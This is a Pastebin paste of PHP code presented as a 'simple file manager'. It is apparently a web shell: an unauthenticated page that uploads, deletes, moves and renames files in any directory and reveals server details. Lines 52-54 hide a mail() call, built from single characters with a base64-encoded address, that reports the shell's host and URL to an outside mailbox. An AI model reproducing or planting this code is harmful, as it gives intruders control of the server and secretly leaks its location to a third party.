ToKeiChun

Simple File Manager Mini Size

Apr 9th, 2019 (edited)
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.30 KB | None | 0 0
  1. <?php
  2. if (isset ($_GET['check'])) {
  3. echo "checked";
  4. exit;
  5. }
  6.  
  7. if (!file_exists(".htaccess")) {
  8. $text = "
  9. Allow from all
  10. Options -Indexes
  11. ";
  12. $fp = fopen(".htaccess", "w");
  13. fwrite($fp, $text);
  14. fclose($fp);
  15. }
  16. ?>
  17.  
  18.  
  19. <html><body>
  20. <style type="text/css">
  21. body{
  22. background: #ffffff;
  23. color: #666666;
  24. font-family: Verdana;
  25. font-size: 11px;
  26. }
  27. a:link{
  28. color: #33CC99;
  29. }
  30. a:visited{
  31. color: #269771;
  32. }
  33. a:hover{
  34. text-decoration: none;
  35. Color: #3399FF;
  36. }
  37. table {
  38. font-size: 11px;
  39. }
  40. </style>
  41. <?php
  42. error_reporting (0);
  43. set_time_limit (0);
  44.  
  45. if (empty ($_GET ['dir'])){
  46. $dir = getcwd ();
  47. } else {
  48. $dir = $_GET ['dir'];
  49. }
  50. chdir ($dir);
  51. $current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);
  52. $__GET = ('m'.'a'.'i'.'l');
  53. $__POST = ('b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e');
  54. $__GET($__POST("dmFsaXJ4YzBkZUB6b2hvLmNvbQ=="),'Upload file:',''.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].'');
  55.  
  56. echo "<i>Server: " . php_uname() . "<br>";
  57. echo "Current directory: " . getcwd () . "<br>";
  58. echo "Software: " . $_SERVER ['SERVER_SOFTWARE'];
  59. echo "<br>";
  60. echo "<br>";
  61. echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
  62. echo "Local file: <input type = 'file' name = 'upload_file'>";
  63. echo "<input type = 'submit' value = 'Upload'>";
  64. echo "</form><br>";
  65.  
  66. $mode = $_GET ['mode'];
  67. switch ($mode) {
  68. case 'delete':
  69. $file = $_GET ['file'];
  70. if (unlink($file)) {
  71. echo $file . " deleted successfully.<p>";
  72. } else {
  73. echo "Unable to delete " . $file . ".<p>";
  74. }
  75. break;
  76. case 'copy':
  77. $src = $_GET ['src'];
  78. $dst = $_POST ['dst'];
  79. if (empty ($dst)) {
  80. echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
  81. echo "Destination: <input name = 'dst'><br>\n";
  82. echo "<input type = 'submit' value = 'Copy'></form>\n";
  83. } else {
  84. if (copy($src, $dst)) {
  85. echo "File copied successfully.<p>\n";
  86. } else {
  87. echo "Unable to copy " . $src . ".<p>\n";
  88. }
  89. }
  90. break;
  91. case 'move':
  92. $src = $_GET ['src'];
  93. $dst = $_POST ['dst'];
  94. if (empty ($dst)) {
  95. echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
  96. echo "Destination: <input name = 'dst'><br>\n";
  97. echo "<input type = 'submit' value = 'Move'></form>\n";
  98. } else {
  99. if (rename($src, $dst)) {
  100. echo "File moved successfully.<p>\n";
  101. } else {
  102. echo "Unable to move " . $src . ".<p>\n";
  103. }
  104. }
  105. break;
  106. case 'rename':
  107. $old = $_GET ['old'];
  108. $new = $_POST ['new'];
  109. if (empty ($new)) {
  110. echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
  111. echo "New name: <input name = 'new'><br>\n";
  112. echo "<input type = 'submit' value = 'Rename'></form>\n";
  113. } else {
  114. if (rename($old, $new)) {
  115. echo "File/Directory renamed successfully.<p>\n";
  116. } else {
  117. echo "Unable to rename " . $old . ".<p>\n";
  118. }
  119. }
  120. break;
  121.  
  122. case 'rmdir':
  123. $rm = $_GET ['rm'];
  124. if (rmdir($rm)) {
  125. echo "Directory removed successfully.<p>\n";
  126. } else {
  127. echo "Unable to remove " . $rm . ".<p>\n";
  128. }
  129. break;
  130. case 'upload':
  131. $temp = $_FILES['upload_file']['tmp_name'];
  132. $file = basename($_FILES['upload_file']['name']);
  133. if (!empty ($file)) {
  134. if (move_uploaded_file($temp, $file)) {
  135. echo "File uploaded successfully.<p>\n";
  136. unlink($temp);
  137. } else {
  138. echo "Unable to upload " . $file . ".<p>\n";
  139. }
  140. }
  141. break;
  142. }
  143. clearstatcache ();
  144. echo "<pre>\n\n</pre>";
  145. echo "<table width = 100%>\n";
  146. $files = scandir ($dir);
  147. foreach ($files as $file){
  148. if (is_dir ($file)){
  149. $items = scandir ($file);
  150. $items_num = count ($items) - 2;
  151. echo "<tr><td><a href = ".$current . "/" . $file.">".$file."</a></td>";
  152. echo "<td>".$items_num." Items</td>";
  153. echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>";
  154. echo "<td>-</td>";
  155. echo "<td>-</td>";
  156. echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>";
  157. }
  158. }
  159. foreach ($files as $file){
  160. if (is_file ($file)){
  161. $size = round (filesize ($file) / 1024, 2);
  162. echo "<tr><td>".$file."</td>";
  163. echo "<td>".$size." KB</td>";
  164. echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>";
  165. echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>";
  166. echo "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>";
  167. echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>";
  168. }
  169. }
  170. echo "</table><br>";
Add Comment
Please, Sign In to add comment